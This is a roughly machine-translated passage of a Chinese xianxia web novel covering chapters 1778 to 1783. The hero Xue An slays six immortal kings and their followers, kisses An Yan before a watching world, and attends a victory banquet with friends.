    And Xue An stretched out his second finger and said lightly: "This is the second one!"

 Chapter 1778： Fight the whole audience and kill

    Two swords, even cut two great fairy kings.


    Such a shocking scene made everyone look stupid.


    Hu Ye stared blankly, and after a while he exclaimed sincerely: "Old way, you are so accurate! Lao Xue is obviously going to beat the whole audience and kill him!"


    Zhuge Zang smiled indifferently, "You are wrong, I didn''t count it at all, I guessed everything!"


    At the same time, I saw Xue An slowly raising his hand, pointing the sword to the front, and saying indifferently: "Next, whose turn is it?"


    In the sound of questioning, the three surviving evil emperors looked terrified and backed away again and again.


    Only Shang Liang was unable to move at all because of his injuries, so he could only stand tremblingly in front, looking at Xue An with a gray face.


    Xue looked at him quietly and smiled slightly, "Shang Liang, remember that the last time I was Xianzun, I once let you go. At that time, you cried and vowed to never do evil again. Why did you forget so soon? What?"


    The ugly expression on Shang Liang''s face can no longer be described in words.


    Because as Xue An said, he did have a grudge against Xue An, but after Xue An climbed to the top of the Immortal Venerable, he was afraid of being retaliated, so he cried and called to apologize to Xue An, even kneeled down to beg for mercy, and kept going. The bet vowed that he would never dare to fight Xue An again.


    All of this happened in reality, and at the same time, Shang Liang tried his best to cover up and he didn''t want to mention it again.


    Now that Xue An mentioned in public, Shang Liang''s heart was ashamed and hopeless.


    "Huh?" Xue An raised his eyebrows slightly, "I''m talking to you, didn''t you hear?"


    Following Xue An''s questioning, a violent sword intent rushed out, cutting off the bun on Shang Liang''s head with a sigh.


    The bright forehead was instantly exposed to everyone, and Xue An''s sword intent was just right, and it did not hurt Shang Liang a bit, but it shaved his scalp brightly.


    Seeing this powerful immortal king who became the "Mediterranean", everyone couldn''t help but laugh, and some even laughed out loud.


    For example, Hu Ye, he laughed the most exaggerated, and at the same time pointed to the Shang Liang in the sky and shouted: "I didn''t expect Lao Xue to have such a good haircut. It seems that if he has no food in the future, he will open a barber shop. You can make a living too!"


    These words floated into Shang Liang''s ears, and the principal of Qiantianyuan, who had always been extremely good-faced, trembled all over, and was already on the verge of collapse with shame.


    But the situation is stronger than that of people. Now that Xue An��s sword is pointed at, he will fall at any time, so he dare not even say a hard word, and can only squeeze a smile on his face that is more ugly than crying.


    "Red...Guren-sama! You...Listen to my explanation!"


    "Okay, explain it! I''m listening." Xue An said lightly.


    Shang Liang''s eyes turned vigorously and said immediately.


    "All of this is a misunderstanding! I really didn''t want to hurt you this time, and even after I heard that you were born again, I was very happy! As for what you said about me doing evil, it is even more imaginary. Now, I have already changed the evil and returned to righteousness in Qiantianyuan, how could I do bad things!"


    These remarks can be said to be nonsense with open eyes, reaching the peak of shamelessness.


    At least many people were so angry they were almost exploded on the spot.


    "Mr. Xue, don''t listen to his nonsense! He came here to kill you!"


    "Yes, this guy is terribly bad!"


    Shang Liang became more and more embarrassed amid the shouts one after another, he couldn''t help but peek at Xue An.


    But seeing Xue An''s face sinking like water at this time, he suddenly laughed.


    "You said that you Qiantianyuan has changed the evil and returned to the right, and will not do evil anymore?"


    "Yes!" Shang Liang nodded vigorously.


    "Then what''s going on?"


    As he said, Xue An opened his hands, and there was a woman''s soul in his palm.


    As soon as he saw her, Shang Liang blurted out, "Qi Weiyang?"


    That''s right!


    The spirit in Xue An''s hands now is the same as Qi Weiyang, who had been making waves in Paradise Lost with the Son of Abyss before.


    At that time, Xue An sealed the two of them together in his palms.


    The son of the abyss behind Wen Linglong was destroyed by Xue An, leaving only Qi Weiyang alone.


    After hearing Shang Liang''s words, Xue An raised his eyebrows slightly, "Oh? Do you know her?"


    Shang Liang reacted immediately, shaking his head like a rattle, "No! I don''t know! How could I know her!"


    But at this moment, the sealed and dizzy Qi Weiyang finally regained some consciousness. Even if Xuan saw Shang Liang not far in front, he couldn''t help but be overjoyed.


    "Master, save me! I am trapped by this person!"


    Shang Liang was silent amidst the shouts.


    Xue Ansen smiled, "Now...how do you explain?"


    At this moment, Qi Weiyang, who hadn''t figured out the situation on the scene, couldn''t help but arrogant when seeing his master here, and then yelled proudly at Xue An.


    "The surname is Xue, and now my master is here, I see how arrogant you are? Don''t let me go..."


    Before he finished speaking, Xue An frowned slightly, then made a fist.


    Bang!


    Qi Weiyang''s soul was crushed to pieces, and then Xue Ancai said lightly: "It''s really noisy!"


    As he said, he looked at Shang Liang, who was pale.


    "Do you have anything else to say?"


    Shang Liang trembled, and finally couldn''t help but said, "Xian...Master Xianzun, is there any chance?"


    Xue An smiled faintly, "Do you still want a chance?"


    Shang Liang heard a slight looseness in Xue An''s tone, and he couldn''t help but overjoy, and hurriedly said: "I was wrong before. If an adult can spare me this time, I will definitely change my wrongs..."


    Before Shang Liang finished speaking, Xue An waved his hand and interrupted him directly, "Kneel down and say!"


    Shang Liang was startled.


    Xue An said slowly: "Didn''t you hear me clearly? I want you to kneel and talk to me!"


    A look of humiliation appeared in Shang Liang''s eyes, and then he looked at the three evil emperors behind him as if for help.


    But at this time, the three of them no longer had their usual arrogance. They stood behind and said nothing, not knowing what they were thinking.


    "If you want a chance, you can, but you have to find a way to fight for it, so I will give you three breathing time to consider whether to live on your knees or stand to die!"


    Speaking Xue An stretched out a finger, "One!"


    The eyes of the whole world are focused on this.


    A lot of people see it with passion.


    This is the truly invincible God of War who is truly looking over the world and arrogant!


    Actually let the strong immortal king kneel down!


    This is so bold.


    "Two!" Xue An stretched out his second finger, and a cold light flashed in his eyes.


    Before he yelled three, Shang Liang suddenly turned his heart back and knelt straight in the void.


    "My lord is forgiving, I Shang Liang...take it!"


    boom!


    The global shock, countless people just feel elated and full of joy.


    At the same time, Shang Liang raised his head and looked at Xue An with a sincere expression, "My lord, grandpa, is it all right? I really confessed, please forgive me this time!"

 Chapter 1779： Cut the fairy king like a pig

    Seeing this, Xue An''s mouth gradually raised, revealing a slight smile, and then stretched out his hand to pat Shang Liang''s head.


    "Yes, what a good boy, let me listen to grandpa a few more calls!"


    "Master! Ancestor!"


    At this moment, Shang Liang had completely lost his mind, and his face was worth a few dollars, which was nothing compared to fate.


    And as long as you can escape this catastrophe, you are waiting for me!


    Shang Liang was secretly ruthless.


    Xue An laughed, arrogantly and wildly, and then patted Shang Liang''s cheek with his hand.


    "Yes, Shang Liang! You can be regarded as an appreciative person!"


    Shang Liang smiled flatly, "Yes, yes! This is what you taught Grandpa!"


    This flattery is simply disgusting.


    Xue An''s smile became colder, and then slowly leaned down and whispered in his ear: "But do you think I will let you go?"


    As soon as this remark came out, Shang Liang suddenly changed his expression, urging the residual cultivation base to resist.


    But at this moment, the sword in Xue An''s hand didn''t know when it had touched his chest, and then pierced in with a pop.


    With blood splashing, Shang Liang roared in agony.


    "Xue An, you bastard, you just said clearly that you want to let me go!"


    Xue An was expressionless, and said coldly: "I said I would give you a chance, but did I say I would let you go? Everything is just your wishful thinking!"


    Shang Liang felt that the sword in his body seemed to be alive, absorbing his vitality crazily.


    In a blink of an eye, Shang Liang felt cold throughout his body, and he couldn''t even lift a finger. His extreme fear and anger made him look at Xue An very resentfully.


    "Then you are teasing me by making me kneel?"


    Xue An nodded, "Yes! I was teasing you!"


    "You bastard, I won''t let you go as a ghost!" Shang Liang was mad.


    Xue An shook his head, "I''m sorry, you have no chance! But you still have to thank this kneeling, because I originally wanted to refine you, now..."


    Xue An drew his sword abruptly, and then pierced Shang Liang''s throat with a sword.


    puff!


    Shang Liang''s eyes were wide open, and he looked at Xue An with a stern face, the hatred in his eyes could hardly be removed.


    But Xue An didn''t have any expressions, just said indifferently: "Being able to die by the sword is already your best destination! After all...everyone has to pay for their actions!"


    The brilliance in Shang Liang''s eyes gradually faded and eventually turned into a dead body without any vitality.


    But the brilliance on this Mo Wangan''s body became more and more dazzling, as if a long-thirsty traveler finally drank the sweet spring water, absorbing all the blood crazily.


    Therefore, even though three fairy kings were killed in a row, the sword body was still as clear as a puddle of autumn water, without the slightest blood taint.


    After killing Shang Liang, Xue An raised his head and looked at the three evil emperors hiding in the distance.


    These three had different expressions, but without exception, they stood still, and even sat watching Xue An kill Shang Liang the whole time, without saying a word.


    This weird situation also aroused everyone''s curiosity.


    And not only these three evil emperors, but the evil cultivators who followed are also restless at this moment, seeming to be searching for something.


    At this moment, Xue An said calmly: "Okay, don''t bother! This world has been blocked by me. If you want to cross out, you can only defeat me!"


    These words calmed the audience.


    Whether it was the three evil emperors or the evil cultivators of various factions, their expressions changed drastically.


    "You...how do you know us..." Beishui Evil Emperor trembled.


    That''s right!


    The reason why the three of them were motionless just now was because they were trying to penetrate the space and escape through.


    Xue An smiled coldly, "Of course I know that you are going to run away, because I know the nature of you guys too much! Seeing the weak will show off your power, and seeing the strong will run away. This is the usual style of your group of guys. The moment I woke up, I completely sealed off this world! As for now..."


    Xue An held a sword flower in his hand, smiled coldly, eyes full of killing intent, "You all stay and die!"


    After speaking, Xue An walked along, and every step forward, the sword intent on his body became strong.


    In an instant, the majestic sword intent enveloped the whole world.


    Immediately afterwards, in the red lotus technique above Xue An''s head, a condensed sword technique appeared in the hand of the young man in white.


    The moment the two merged into one, a huge power that surpassed the world suddenly appeared, causing countless people to become disillusioned.


    At the same time, Xue An crossed his eyebrows, raised his eyes, and cut out with a sword.


    "This sword is named Acacia!"


    boom!


    The sword light traverses the world, cuts off the ancient and modern, and rushes towards the three evil emperors with the supreme might.


    The three of them were so frightened that they turned around and fled, regardless of the decent of the fairy king.


    But this sword, as its name suggests, is the most difficult one.


    No matter how the three of them dodge, the sword light follows closely like a tarsal maggot.


    "Acacia..." Jian Qi on the ground murmured innocently, her eyes shining brightly, and she wanted to rush to ask what happened now.


    At the same time, I heard a muffled sound.


    The evil emperor Middle-earth stagnated, and then he was cut in half from the middle.


    The evil emperor of Middle-earth died!


    Following him was the Evil Emperor Beishui. After seeing the evil emperor Middle-earth died on the spot, he seemed to be irritated, roaring hysterically, and then turned around to meet the sword light coming straight in.


    puff!


    Another flash of blood flashed, and a blood stain appeared on the center of Beishui Evil Emperor''s forehead, and then he fell to the ground and died absolutely.


    Everyone looked at it dumbfounded.


    Especially Hu Ye and others, even more dazed.


    When did the strong immortal king become like a little chicken, so slaughtered?


    At this moment, Xue An walked with sword and walked towards the only remaining Evil Emperor Dongmu.


    Evil Emperor Dongmu was so scared that his voice changed, and he screamed like a little girl.


    "No! Don''t come over! I give up, I am willing to be your servant, serving you forever, please don''t kill me!"


    But Xue An didn''t even blink his eyelids, was not moved at all, and then cut out with a sword.


    "This sword is called Meet!"


    The bright sword light blasted towards the Evil Emperor Dongmu like mercury.


    The evil emperor Dongmu frantically urged his cultivation base, and countless vines emerged out of thin air The green wood magic image above his head grew wildly, trying to resist this sword.


    But everything is in vain.


    Nothing can stop the power of this sword.


    Click!


    Amid the loud noise of the trees breaking and breaking, all the obstructions were swept away, and then the sword light entered without body, and then transmitted from the back, bringing out a blood line.


    All the trees withered instantly, and the Evil Emperor Dongmu fell!


    At this point, all the six immortal kings who had just been rampant and arrogant fell under Xue An''s sword.


    Xue An''s sword is in the air, white clothing is hunting, his eyes are deep like the sea, the red lotus on the top of his head, the sword intent is lingering around his body, it is like a nine-day banished immortal coming here, which makes people afraid to look directly.


    What is invincible?


    Cut the fairy king like a pig and a dog!


    This!


    It''s called invincible!

 Chapter 1780： Immortal Kings

    In an instant, the whole world boiled.


    "My slot! God of War Xue is awesome (broken tone)!!!"


    "Ah ah ah ah, Mr. Xue, I want to give birth to a monkey for you!"


    "Hahahaha, it''s not awesome anymore! After this battle, who among the heavens dared to disrespect Mr. Xue?"


    "I don''t care, Xue Warshen will be my idol from now on!"


    The Internet has simply exploded. Numerous sand sculpture netizens swept their screens frantically, and the atmosphere even swept away the previous despair and sorrow, and became happy.


    Even Zhuge Zang couldn''t help twisting his beard, and sighed softly: "Even to cut the six immortal kings, this battle will surely make the world a sensation and become a classic battle in the annals of history!"


    However, Fox Ye mumbled a little bit of thoughts, "I wipe it, the fairy king Xuecai is just like this, then I can pay it back? No, I have to work harder, otherwise I will not be able to stop Lao Xue in the future. How happily be friends then?"


    At this moment, Xue An held his sword in arms, raised his eyes and glanced at the evil cultivators all over the sky, a cold smile appeared on his face.


    "To help the abuser, to be a tiger, you all go to die!"


    After that, he raised his hand, and this Mo Wangan flew straight out like a swimming dragon, and then went straight to the sky.


    These evil cultivators had already been scared to death by Xue An''s power. When the sword light flew up, they were almost assholes, and they ran away like ghosts and howling wolves.


    "Ahhhhh, forgive me! This matter has nothing to do with me!"


    "My lord, I really know I was wrong, please let me go!"


    There is also the hysterical roar caused by excessive fear.


    But no matter what kind of sound it was, it melted like ice and snow under the scorching sun.


    Puff puff!


    In the muffled sound of sword light piercing the skin, countless blood swayed in the air, and the dead corpses fell like rain.


    Where the sword light passes, these evil repairs are like harvested rice, large tracts of fall.


    In just a few blinks of an eye, the evil cultivators that had just occupied the entire sky became the souls of the sword.


    Even some people didn''t die by the sword at all, but died in the tumult of each other under excessive fear.


    When the sky was completely empty, it coincided with the setting sun, and countless blood seemed to dye the setting sun red.


    Under the weeping and **** setting sun, Xue An stood amidst the ten thousand zhang ray, and the golden light traced a golden edge around his body.


    At that moment, countless people burst into tears, and many even fell to the ground with a pious face, expressing their most sincere gratitude to Xue An.


    Countless powers of faith flocked to Xue An.


    Feeling this surging power, Xue An chuckled lightly, then lowered his head to look down at the whole world.


    "The enemy has been eliminated, and since then, the earth will be protected by me!"


    As soon as this remark came out, people all over the world made a huge cheer.


    At this moment, Xue An raised his head, raised his hand and wrote a big word Xue on the sky.


    As soon as this word came out, it instantly enveloped the entire earth!


    This also means that the earth has become his Immortal King''s territory!


    Since then, if any strong person wants to be unfavorable to the earth, he must first weigh himself or herself!


    And this font will send divine signals to the strong in the past, declaring Xue An''s sovereignty.


    After doing all this, Xue An lowered his head to look at everyone, and finally focused on An Yan.


    At this time, An Yanye had faded her armor, and she was dressed in red like a fire, standing in the crowd looking forward to him.


    A warm smile appeared on Xue An''s face with a hint of guilt, and then with a wave of his hand, a soft aura lifted An Yan into the air.


    An Yan flew to the front in the blink of an eye.


    Then the two looked at each other.


    At this moment, all the thousands of words have turned into a wet look.


    Xue An smiled, "Yan''er, you have suffered during this period!"


    An Yan shook his head, "Not bitter, just a little scared!"


    But even though she said so, the choking voice had already betrayed her.


    "Okay! It''s all over, and I will never leave again, I promise you!"


    "Yeah!" An Yan nodded, and suddenly asked a little surprised: "Why are you bringing me up high in the sky?"


    Xue An smiled mysteriously, "Because there is something I want to tell you!"


    "What''s the matter?" An Yan looked ignorant.


    "Come here, I will tell you quietly!"


    An Yan did not doubt that he had him, and walked over.


    But when she just walked to Xue An''s side, Xue An suddenly hugged her.


    An Yan was taken aback.


    At this moment, Xue An directly lowered his head and kissed An Yan''s red lips heavily.


    An Yan''s whole body was tense for an instant, but then he closed his eyes, put his hands around Xue An''s neck, and responded with emotionlessness.


    And this scene naturally spread throughout the world through ubiquitous live broadcast footage.


    The whole world made a good laugh.


    Among them are the admiration of men and the envy of women.


    After all, is there any woman who doesn''t want the person she loves to be like Xue An, a hero of the world, and kiss herself bitterly in front of hundreds of millions of people?


    But some people have sour eyes, lowering their heads and daring not to look again.


    Such as Fan Mengxue, such as Tang Xuaner...


    They both lowered their heads very sadly.


    Only Hu Ying is different, because at the moment Xue An kissed An Yan, Hu Ye rushed to the front, and then raised his hand to cover his sister''s eyes.


    "Brother, what are you doing?"


    "Don''t talk nonsense, children watch this kind of picture less, and it''s easy to learn badly!" Hu Ye said solemnly.


    "I''m pooh, just a kiss, can this be a bad example?" Hu Ying groaned.


    "Of course you can. After all, if your age is converted to an adult race, you are only sixteen years old. How can you see this at this age?" Hu Yeyi said righteously.


    "Huh! You will care about me! Why don''t you say that you broke down when you hook up a girl?" Hu Ying was so angry.


    Hu Ye was a little embarrassed, but still said, "Am I the same as you? I''m your brother, and I''m still a man!"


    "What''s wrong with men? Men are amazing? You are blatant discrimination! I protest!"


    "The protest is invalid..." Hu Ye screamed.


    Because his sister Hu Ying bit his wrist, he let go of his hand in pain.


    Then Hu Ying raised her head and looked at Xue An and An Yan who were kissing in the sky. After a while, she sighed with infinite longing: "It''s really romantic! Brother Xue is so handsome!"


    "Hey! Brother Xue is kissing someone now? You can bear it like this?" Hu Ye couldn''t help but said What happened to kissing someone? And he kissed sister Yan! I won''t be jealous of sister Yan! "Hu Ying said nonchalantly.


    "You..." Hu Ye was almost speechless and choked, and the veins appeared on his forehead.


    Why do you have such a weird sister?


    At this moment, Hu Ying, who had been watching for a while, slowly lowered her head to meditate.


    Hu Ye breathed a sigh of relief. It seemed that his sister didn''t care as much as she said. That''s okay, it''s not completely hopeless.


    But at this moment, Hu Ying raised her head and asked Fox Ye curiously.


    "Brother, what is it like to kiss?"


    Fox Night: "..."


    Then: -"-anger). "

 Chapter 1781： What is lovesickness?

    "Okay, okay! I''m just asking, you don''t have to look at me with that kind of murderous eyes, I just don''t look at me." Hu Ying said with a lip.


    "Humph!" Hu Yeyu was still angry, "If you let me see you doing this foolishly again, I''ll take you back to Fox Country immediately!"


    After that, Huye turned and left.


    Looking at her brother''s back, Hu Ying shrank her neck and secretly made a face.


    "Cut, as if I would be afraid!"


    With that, she glanced in the air secretly, and then whispered softly with a reddish cheek.


    "Kissing must be sweet, otherwise why would Brother Xue keep holding Sister Yan?"


    After saying this, Hu Ying''s face flushed to the base of her ears, and she hurriedly lowered her head and ran away.


    After a long kiss for five full minutes, Xue An finally let go of his hand, and then moved to the panting and flushed An Yan''s ear, and said with a smirk: "Yan''er, this is what I want to tell you. Something!"


    "Bah, smelly rascal, so many people are watching! You really hate it!"


    At this time, An Yan had noticed the countless gazes on the ground, and couldn''t help being ashamed, buried her head in Xue An''s arms, and then lightly pinched him.


    Xue An chuckled and hugged her shoulders carelessly.


    "You are my woman, it is right for me to kiss my own woman, what''s so shy about this?"


    An Yan was so ashamed that he couldn''t even speak, and he could only give Xue An a blank look.


    But unconsciously, An Yan''s originally extremely nervous mentality has relaxed.


    And this is exactly what Xue An wanted.


    At this time, Xue An laughed and said to countless ardent gazes around the world: "The enemy has been eliminated, I declare a global banquet for three days to celebrate victory!"


    boom!


    As soon as this statement was made, the whole world was boiling, and the whole world fell into a sea of ??joy because of Xue An''s order.


    In this cheerful atmosphere, Xue An slowly landed on the ground holding An Yan.


    Everyone immediately gathered around.


    "Old Xue, what I didn''t say, well done!" Hu Ye extended his thumb and exclaimed sincerely.


    Not only him, but Ye Hanshang and others are also happy.


    Even Chu Wuxiang, who has always been honest and honest, touched the back of his head at this time, and said honestly: "I didn''t expect Xiao Anzi to be born again, and it was even more powerful!"


    Xue An was naturally grateful for these friends who helped out in times of crisis, so he smiled and nodded, just about to speak.


    At this moment, a cold and ethereal female voice came from behind the crowd, "Wait a minute, I have something to say!"


    Following the voice, Jian Qi separated from the crowd and walked over.


    As soon as she saw her, the atmosphere in the field instantly became tense.


    Many people looked at her solemnly, wondering what this sword-loving woman was going to do?


    Could it be that she hasn''t given up her plan to compete with Xue An?


    In this atmosphere, Xue An looked indifferent, standing quietly on the spot, watching Jianqi walking towards him.


    Such a totally undefended attitude made Jian Qi stunned for a moment, and then stopped not far in front of Xue An.


    "Red Lotus Immortal Venerable, if you are so relaxed, aren''t you afraid that I will attack you suddenly?"


    Xue An smiled slightly and shook his head, "Don''t be afraid, because you won''t do that!"


    "How are you sure I won''t?" Jian Qi asked with interest.


    "Because... the pride of being a sword repairer does not allow you to do that!" Xue An said lightly.


    This sentence made Jian Qi a little startled, and even laughed, "That''s a good point, it deserves to be the first existence among my seven must defeat opponents!"


    "Thank you! But who are the other girls that the girl is going to defeat?" Xue An said with a smile.


    "There is Li Jingxing, the lord of Buried Jianshan, there is a peerless Sanxiu Yiye, and... Oh, there are many, but basically they disappeared or disappeared, so I have to find them one by one. bother!"


    Speaking of this, Jian Qi''s face showed a distressed look, this look was almost like a little girl who has not been involved in the world, rather than the peerless sword repairer before.


    Seeing this scene, Xue An couldn''t help but smile.


    "Then the girl is looking for me now, but are you going to have a try?"


    As soon as this statement came out, many people changed slightly.


    Zhuge Zang couldn''t help but cough, and he wanted to talk.


    After all, although Jian Qi was arrogant before, it did not cause serious consequences. On the contrary, it helped everyone guard the earth together.


    Even if she hadn''t taken a shot at a critical moment to stop the Evil Emperor of China, it would be difficult to say what things would turn out to be.


    So Zhuge Zang wanted to persuade the two of them, and it would be better to turn their fighting into jade!


    But at this moment, Jian Qi shook his head unexpectedly.


    "Forget it! I''m not your opponent yet. Once I play against it, I will definitely lose."


    These words made many people blinked in surprise.


    This is... the service is soft?


    But after hearing this, Xue An''s eyes showed a look of appreciation.


    At this time, Jian Qiyi said with a resolute expression: "But don''t worry, one day I will beat you, and then I will challenge you upright!"


    Xue An smiled and nodded, "Yes!"


    Then Jian Qi was silent, and at the same time there was a hint of doubt on his face.


    "Is there anything else Miss Jianqi?"


    "Uh... this... can I say a few words to you alone?" Jian Qi said hopefully.


    Xue An was taken aback, and Xuan even laughed blankly: "Okay!"


    The two walked aside, and Xue An waved his hand to isolate the outside world with sword intent.


    "Girl Sword Seven, please tell me if you have anything!"


    Jian Qi bit his lip with a look of embarrassment, and finally summoned the courage to say: "Although it is very presumptuous, I really want to know how you practiced this hand swordsmanship! Especially your sword intent, how? Will it be so pure and powerful?"


    After all, Jian Qi very embarrassedly sneaked a glance at Xue An Of course, if you don��t want to say anything, just treat it as if I had never asked! "


    At this moment, Jian Qi is indeed full of anxiety, after all, this is equivalent to asking people about their cultivation secrets.


    And this kind of secret is often the trick of many powerful people at the bottom of the box, and no one is willing to disclose it easily.


    Unexpectedly, Xue An raised his eyebrows slightly after listening, and then smiled faintly, ��If you talk about swordsmanship alone, you are actually not bad, as for sword intent... it��s simple, because lovesickness!��


    "Lovesick?"


    "Yes, it''s Acacia! Because only Acacia can temper the purest sword intent!"


    Jian Qi was stunned, and then retorted, "Then what is lovesickness?"


    This sentence made Xue An a little dumb, and after thinking about it for a while, he said: "Acacia is a sincere liking for someone, but because of various reasons they can''t be together!"


    "It sounds complicated!" Jian Qi frowned and thought for a moment, and then suddenly said: "If you want lovesickness, you must first have someone you like?"

 Chapter 1782： Celebration dinner

    "you can say so!"


    "It turned out to be like this, I understand! I will find someone who can make me fall in love as soon as possible, because I also have to temper a strong sword intent!"


    Jian Qi was confident, and then said to Xue An with a sincere expression.


    "Thank you for your advice!"


    "You''re welcome!" Xue An admired this girl who looked mad but in fact a clear sword heart, and said with a smile.


    "One last question..."


    "Say!"


    "Where do I find someone I like?"


    "Uh, this..." Xue An was also a little confused, this question seemed to be unanswerable.


    At this moment, Jian Qi looked at Xue An''s eyes gradually, "Or...I just like you! After all, you look more pleasing to the eye, and swordsmanship is so powerful!"


    These words of Jian Qi made Xue An almost bit his tongue and immediately refused: "Sword Seven girl, don''t talk nonsense, I already have someone I like!"


    "What does that matter? Anyway, I just like you. As for who do you like, what do you do with me?" Jian Qiyi said purely.


    Xue An was silent.


    Only then did he understand that the ethereal woman in front of him was a complete sword lunatic.


    Kendo cultivation can be said to be unique in the world, but it is completely ignorant in terms of interpersonal communication and emotions, just like a blank sheet of paper.


    "Oh, that''s it, I will try to like you in the future, and then I will fall in love with you!" Jian Qi clapped and made a decision.


    "Uh..." Xue Angang wanted to say something.


    Jian Qiye turned around and said without looking back: "Thank you very much for teaching me, but after I succeed in tempering my sword intent, I will come to you to compete!"


    "At that time, I will definitely defeat you, and then I will be the champion of the sword and ascend to the top of the heavens!"


    "At that time, I would not be called Jianqi, but the upright Jianyi girl! Hahahahaha!"


    In the loud laughter, Jian Qi slashed out, directly breaking through the space in front of him, and then stepped in, disappearing into the vast void.


    Seeing the splendid back of the sword seven girl, Xue An''s eyes couldn''t help showing a bright brilliance, and he said softly.


    "Okay! I''m waiting for that day!"


    This is an extremely grand dinner.


    China, E, M.......


    Almost all dignitaries and celebrities from all countries rushed over.


    Coupled with these powerhouses at the scene, the scale of this dinner has become very grand.


    But in the face of China''s super organizational power, all this is nothing at all.


    Several high-power armed helicopters flew directly to the nearest city and began to transport all kinds of ingredients needed for the banquet.


    The planes full of world-famous chefs had already taken off from it, and arrived at the banquet venue in just over an hour.


    This team of chefs is luxurious, even so, these chefs still look excited when they step off the plane.


    Because for them, this may be the most important banquet they have ever participated in in their lives, and it is also the largest number of participants.


    Everyone cherishes this opportunity extremely.


    Therefore, they all showed their housekeeping skills, and within an hour of landing, the steaming dishes were presented like water.


    Wine is good wine, food is good food!


    The participants were even more relaxed and joyful, so the atmosphere of the banquet reached a climax soon.


    Countless people coveted, talked and laughed happily, venting their joy as best they could.


    From time to time, people will look at the center of the banquet with infinite reverence.


    Because there is the core of the whole banquet, and it is also where the **** of war Xue An is.


    now.


    The much-anticipated Xue Anye has become a toast.


    Countless celebrities who are usually aloof are standing in line with the elderly, just to have a drink with Xue An and a glass of wine.


    It may not be possible to say a word during the whole process, but people still enjoy it and are proud of it.


    And Xue An didn''t refuse anyone who came, and a glass of wine to dry.


    Even the more I drink, the more clear my eyes are.


    at last.


    After drinking not knowing how many glasses of wine, all the people who wanted to toast were already drunk, and some of them were already drunk to death.


    Only Xue An''s face remained as usual, not even a hint of drunkenness.


    Seeing this scene, people just understood a truth.


    That is, the fairy king not only fights fiercely, but also has a first-class existence when drinking.


    But they didn''t know that, in fact, not all fairy kings could drink.


    For example, now, Hu Ye, who was already flushed with drinking, walked over staggeringly, and then sat down on the sofa next to him.


    "Why? Drunk again?" Xue An asked with a smile.


    "No...not drunk, just a little dizzy!" Hu Ye mumbled with tongue out.


    "Go ahead, how many drinks did you drink?"


    Huye stretched out two fingers, "Drank four glasses! Hey, don''t you think I am good at drinking?"


    Xue An raised his eyebrows slightly, then stretched out a finger, "What''s this?"


    "Don''t dangle, isn''t this two!" Hu Ye mumbled dissatisfiedly.


    Xue An nodded, "It''s really good at drinking, at least I can count!"


    "Don''t laugh at me! Do you think everyone is like you, drinking like water? Those guys still want to pour you, really overwhelming!" said Fox Ye Lali verbally.


    Xue An smiled, then turned around, and said lightly: "Listen to Yan''er, you brought back a mortal woman and said it was your girlfriend?"


    "Yes!" Hu Ye said with a smirk leaning on the sofa.


    Xue An looked at the girl who was talking and laughing with An Yan in the distance, and said softly, "Is that her?"


    Hu Ye nodded, "She''s A Rou, a very gentle girl, I love her very much!"


    When he said this, Fox Ye''s eyes seemed to be shining.


    Xue An turned his head to look at him, and there seemed to be glories in his eyes.


    "Old Xue, why are you looking at me with such a look?" Hu Ye asked.


    "It''s nothing, I just feel a little surprised. A lazy guy like you can actually say love?" Xue An smiled lightly.


    "What? Don''t I deserve to say love?"


    Xue An shook his head It''s not that I don''t deserve it, but I want to remind you that if you really love each other, don''t care about others. After all, time is long and only your feelings live up to it. So if you love her, don''t let down Up her! "


    Fox Ye looked at Xue An in amazement, "You have no opinion?"


    Xue An looked inexplicable, "Why should I have an opinion?"


    "I thought you would say that she is a mortal woman, and you still can''t see..."


    Xue An chuckled and waved his hand, then looked solemnly, "What about mortals? Which one of you and I didn''t come from mortals? Compared with sincere feelings, these external things are nothing to mention! What''s more... ...."


    A narrow smile appeared on Xue An''s face, "If this girl Arou is not blind, can she see you!"


    Fox Night: "..."


    Then a bit depressed, said: "I don''t know what''s going on, I suddenly want to beat you up! But Old Xue, you are really not authentic!"

 Chapter 1783： The power of faith

    "It''s a joke, why don''t I do things authentically?" Xue An looked surprised.


    "Don''t say anything else, why did you kidnap my sister? How do you explain this?" Hu Ye said very annoyed.


    "Abduct your sister?" Xue An''s eyes gradually widened. "Have you made a mistake, your sister was rescued by me? Isn''t it true that you are now raking me and saying I am abducting your sister? Do you still have a conscience?


    Hu Ye was also a little anxious, "Stop making trouble, okay, can my sister use you to save it? Do you know how many guardian elders have given her since childhood?"


    "I don''t know, your sister was dying anyway, and I didn''t see any guardian!"


    "That didn''t really threaten her. If there is anything threatening her life, any guardian can directly shatter a planet. No one can run away from the strong below the fairy king, otherwise you think Ying''er has run away Why hasn''t Qingqiu Fox Country been too anxious for so long? To put it bluntly, she is more favored than me!"


    Xue An curled his lips, "What I said is the same, and I will say it again, I didn''t abduct your sister! Everything was followed voluntarily!"


    "Oh, if you get a bargain, you can still behave! I also said that my sister is voluntary. Today I have to teach you a lesson."


    I don''t know if it''s because of the rush of wine or the eagerness of the nurse, Hu Ye yelled that he would start with Xue An.


    Xue An smiled, and stopped the people around who wanted to come to explain, and then said lightly: "This is what you said, don''t regret it!"


    "Stop talking nonsense!" Hu Ye shouted arrogantly.


    Xue An didn''t talk nonsense, and moved the seal together, and the two left here and went to the distant space.


    Looking at the empty sofa, Wei Rulan swallowed secretly, and then whispered to Zhuge Zang.


    "Master, Mr. Xue and the others... really will be fine?"


    That''s right!


    Now Zhuge Zang has officially accepted Wei Rulan as a closed disciple.


    And after hearing her words, before Zhuge Zang could speak, Ye Hanshang said lazily.


    "Don''t worry, the two of them will definitely be fine, because..."


    Speaking of this, Ye Hanshang yawned boredly, "We have seen too many scenes like this, and we are all used to it!"


    As soon as the voice fell, when Guanghua flashed in the scene, Xue An and Huye, who had just left, reappeared in front of everyone.


    "What do you think, I''m right!" Ye Hanchang smiled.


    However, the Fox Night at this time has become a little different from before.


    The two eye circles are black and blue, just like panda eyes.


    That''s really embarrassing.


    And Xue An said slowly: "Let me think about it, this is your thirteenth, four hundred and twenty-second time losing to me! Are you convinced?"


    Huye gritted his teeth and burst out two words between his teeth.


    "Unacceptable, you have the ability to fight me with one hand next time!"


    "Do you think you can beat me with one hand? You are too naive!"


    "Just say you dare not!" Huye began to use the radical technique.


    At this moment, An Yan took A Rou''s hand and walked over.


    "What are you talking about? So open... Huh? Huye, what''s the matter with your eyes?" An Yan has been chatting over there, not knowing what happened here.


    Hu Ye hurriedly said: "Ah, it''s all right, I just drank too much and accidentally touched the pillar..."


    Before he finished speaking, A Rou suddenly became nervous, "Ah? Does it hurt? Is there anything wrong?"


